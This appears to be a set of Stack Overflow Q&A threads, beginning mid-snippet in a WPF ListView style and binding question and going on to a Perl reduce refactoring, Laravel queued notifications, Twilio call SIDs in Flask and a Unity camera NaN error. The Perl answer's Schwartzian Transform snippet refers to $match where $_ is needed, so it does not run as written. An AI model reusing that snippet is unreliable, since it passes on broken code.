    <Setter Property="FocusVisualStyle" Value="{StaticResource ListViewItemFocusVisual}" />
    <Setter Property="BorderBrush" Value="Transparent" />
    <Setter Property="BorderThickness" Value="1" />
    <Setter Property="Margin" Value="0,0,0,1" />
    <Setter Property="Padding" Value="5,2,5,2" />
    <Setter Property="VerticalContentAlignment" Value="Center" />
    <Setter Property="Focusable" Value="False"></Setter>
    <Setter Property="Template">
        <Setter.Value>
            <ControlTemplate TargetType="{x:Type ListViewItem}">
                <Border x:Name="border"
                        BorderBrush="{TemplateBinding BorderBrush}"
                        BorderThickness="{TemplateBinding BorderThickness}"
                        CornerRadius="2"
                        SnapsToDevicePixels="true">
                    <Grid Margin="2,0,2,0">
                        <Rectangle x:Name="BackgroundGradientOver"
                                   Fill="{DynamicResource MouseOverBrush}"
                                   Opacity="0"
                                   RadiusX="1"
                                   RadiusY="1"
                                   Stroke="{DynamicResource MouseOverBorderBrush}" />
                        <Rectangle x:Name="BackgroundGradientSelectedDisabled"
                                   Fill="{DynamicResource ListItemSelectedBrush}"
                                   Opacity="0"
                                   RadiusX="1"
                                   RadiusY="1"
                                   Stroke="{DynamicResource ListItemSelectedBorderBrush}" />
                        <Rectangle x:Name="BackgroundGradientSelected"
                                   Fill="{DynamicResource PressedBrush}"
                                   Opacity="0"
                                   RadiusX="1"
                                   RadiusY="1"
                                   Stroke="{DynamicResource PressedBorderBrush}"
                                   StrokeThickness="1" />
                        <ContentPresenter x:Name="contentPresenter"
                                      Margin="{TemplateBinding Padding}"
                                      HorizontalAlignment="{TemplateBinding HorizontalContentAlignment}"
                                      Content="{TemplateBinding Content}"
                                      ContentTemplate="{TemplateBinding ContentTemplate}" />
                    </Grid>
                </Border>
            </ControlTemplate>
        </Setter.Value>
    </Setter>
    <Setter Property="Foreground" Value="{DynamicResource OutsideFontColor}" />
</Style>

My DataTemplate
<DataTemplate x:Key="centralTile">

    <StackPanel Width="80"
                Height="40"
                KeyboardNavigation.AcceptsReturn="True">
        <StackPanel.InputBindings>
            <KeyBinding Key="Enter" Command="{Binding Path=DataContext.KeyCommand, RelativeSource={RelativeSource Mode=FindAncestor,AncestorType={x:Type Window}}}" CommandParameter="{Binding}"></KeyBinding>
        </StackPanel.InputBindings>
        <Grid>
            <Grid.ColumnDefinitions>
                <ColumnDefinition Width="30" />
                <ColumnDefinition Width="*" />
            </Grid.ColumnDefinitions>
            <Button Command="{Binding Path=DataContext.KeyCommand, RelativeSource={RelativeSource Mode=FindAncestor,AncestorType={x:Type Window}}}"
                            CommandParameter="{Binding}">
                <TextBlock Text="{Binding Path=Name}" />
            </Button>
            <Image Grid.Column="1" Source="Water lilies.jpg" />
        </Grid>
        <TextBlock HorizontalAlignment="Center"
                   FontSize="13"
                   Text="{Binding Path=Name}" />
    </StackPanel>
</DataTemplate>

I Cant Seem to find a way to do it...
I attached my InputBinding in DataTemplate as well has in Style Nothing Works
            <KeyBinding Key="Enter" Command="{Binding Path=DataContext.KeyCommand, RelativeSource={RelativeSource Mode=FindAncestor,AncestorType={x:Type Window}}}" CommandParameter="{Binding}"></KeyBinding>

A: Are you using any .Net version prior to 4.0? If so the binding on KeyBinding.Command and KeyBinding.CommandParameter wont work. You will have to use CommandReference API for that.
Otherwise if you are using .Net 4.0, then

*

*Add a KeyBinding to ListView's InputBindings.

*You will have to bind KeyBinding.CommandParameter to the SelectedItem of the ListView.

This way the command executes on Enter key press for the parameter which will be the selected item of the ListView (which is what I think you want to achieve)


text:
Q: Reducing code verbosity and efficiency I came across the below where some heavy stipulations were done, finally we got a number of @hits and we need to return just one:
if ($#hits > 0)
{
    my $highestScore = 0;
    my $chosenMatch = "";
    for $hit (@hits)
    {
        my $currScore = 0;
        foreach $k (keys %{$hit})
        {
            next if $k eq $retColumn;
            $currScore++ if ($hit->{$k} =~ /\S+/);
        }

        if ($currScore > $highestScore)
        {
            $chosenMatch = $hit;
            $highestScore = $currScore;
        }
    }
    return ($chosenMatch);
}
elsif ($#hits == 0)
{
    return ($hits[0]);
}

That's an eye full and I was hoping to simplify the above code, I came up with:
return reduce {grep /\S+/, values %{$a} > grep /\S+/, values %{$b} ? $a : $b} @matches;

After of using of course useing, List::Util
I wonder if the terse version is any efficient and/or advantage over the original one. Also, there's one condition that's skipped: if $k eq $retColumn, how can I efficiently get that in?

A:
I wonder if the terse version is any efficient and/or advantage over the original one

The terse version is less efficient than the original because it calculates the score of every element twice, but it does have readability advantages.
The following keeps the readability gain (and even adds some):
sub get_score {
   my ($match) = @_;
   my @keys = grep { $_ ne $retColumn } keys %$match;
   my $score = grep { /\S/ } @{$match}{ @keys };
   return $score;
}

return reduce { get_score($a) > get_score($b) ? $a : $b } @matches;

You can look at any part of that sub and understand it without looking around. The least context you need to understand code, the more readable it is.
If you did need an efficiency boost, you can avoid calling get_score on every input twice by using a Schwartzian Transform. As with many optimizations, you will take a readability hit, but at least it's idiomatic (well known and thus well recognizable).
return
   map { $_->[0] }
   reduce { $a->[1] > $b->[1] ? $a : $b }
   map { [ $match, get_score($match) ] }
   @matches;

A: There is a famous quote:

"Premature optimisation is the root of all evil" - Donald Knuth

It is almost invariably the case that making code more concise really doesn't make much difference to the efficiency, and can cause significant penalties to readability and maintainability.
Algorithm is important, code layout ... isn't really. Things like reduce, map and grep are still looping - they're just doing so behind the scenes. You've gained almost no efficiency by using them, you've just saved some bytes in your file. That's fine if they make your code more clear, but that should be your foremost consideration.
Please - keep things clear first, foremost and always. Make your algorithm good. Don't worry about replacing an explicit loop with a grep or map unless these things make your code clearer.
And in the interests of being constructive:

*

*use strict and warnings is really important. Really really important.

To answer your original question:

I wonder if the terse version is any efficient and/or advantage over the original one

No, I think if anything the opposite. Short of profiling code speed, the rule of thumb is look at number and size of loops - a single chunk of code rarely makes much difference, but running it lots and lots of times (unnecessarily) is where you get your inefficiency.
In your first example - you have two loops, a foreach loop inside a for loop. It looks like you traverse your @hits data structure once, and 'unwrap' it to get at the inner layers.
In your second example, both your greps are loops, and your reduce is as well. If I'm reading it correctly, then it'll be traversing your data structure multiple times. (Because you are greping values $a and $b - these will be applied several times).
So I don't think you have gained either readability or efficiency by doing what you've done. But you have made a function that's going to make future maintenance programmers have to think really hard. To take another quote:

"Everyone knows that debugging is twice as hard as writing a program in the first place. So if you're as clever as you can be when you write it, how will you ever debug it?" - Brian Kernighan


text:
Q: Laravel 5.4: Notification delay, only execute upon condition It is a chat function, I would like to have the notification delay by 5 seconds, within (or after) these 5seconds the notification will only be sent if the specific message is being read during the time. I have researched for delay() or using sleep() in php lib but they can't seem to do the trick for the conditioning. Is it possible to do such thing?

A: use https://laravel.com/docs/5.4/notifications#queueing-notifications
class InvoicePaid extends Notification implements ShouldQueue
{
    use Queueable;

    // ...
}
$when = Carbon::now()->addMinutes(10);

$user->notify((new InvoicePaid($invoice))->delay($when));

You can check condition inside Notification


text:
Q: Twilio for incoming call At a given point in python code how can I get the current call SID I am using Python Flask with ngrok and setting the webhook address to the ngrok url.
Upon incoming call arrival to the webhook address, I need to get the current call SID:
@app.route("/voice", methods=['GET', 'POST'])
def voice()
resp = VoiceResponse()

How can I get the current call SID?  (Given account SID and token.)
I know it can be found in dashboard, but how can I do it in code?

A: Twilio developer evangelist here.
If you wish to get the current call SID for an inbound/incoming call with Flask and ngrok, you could use request.form['CallSid'] as shown below with request in Flask.
from twilio.twiml.voice_response import VoiceResponse
from flask import Flask, request
app = Flask(__name__)
@app.route("/voice", methods=['GET', 'POST'])
def voice():
    resp = VoiceResponse()

    # Read a message aloud to the caller
    resp.say("hello world!", voice='alice') #example, I added this line and it's unneeded
    call_sid = request.form['CallSid']
    print(call_sid)
    return str(resp)

If you do an outbound call from the Twilio Client, you could get the current call SID with this:
from twilio.rest import Client
client = Client(YOUR-TWILIO_ACCOUNT_SID, YOUR-TWILIO_AUTH_TOKEN)

call = client.calls.create(
    to= 'NUMBER-TO-CALL',
    from_ = 'YOUR-TWILIO-NUMBER',
    url = 'http://demo.twilio.com/docs/classic.mp3'
)
print(call.sid)

Hope this helps!


text:
Q: Why am I getting this error in Camera Script Unity 3D? I am getting this error when testing the game:

transform.position assign attempt for 'Main Camera' is not valid.
  Input position is { 0.000000, 1.690000, NaN }.
  UnityEngine.Transform:set_position(Vector3)

This is the camera script:
using UnityEngine;

public class CameraController : MonoBehaviour {

    public GameObject player;
    private Vector3 offset;

    // Use this for initialization
    void Start()
    {
        offset = transform.position - player.transform.position;
    }

    // Update is called once per frame
    void LateUpdate()
    {
        transform.position = player.transform.position + offset;
    }
}

Do you know how to fix that?

A: Simply reset the Camera Transform in the inspector. That should clear the error.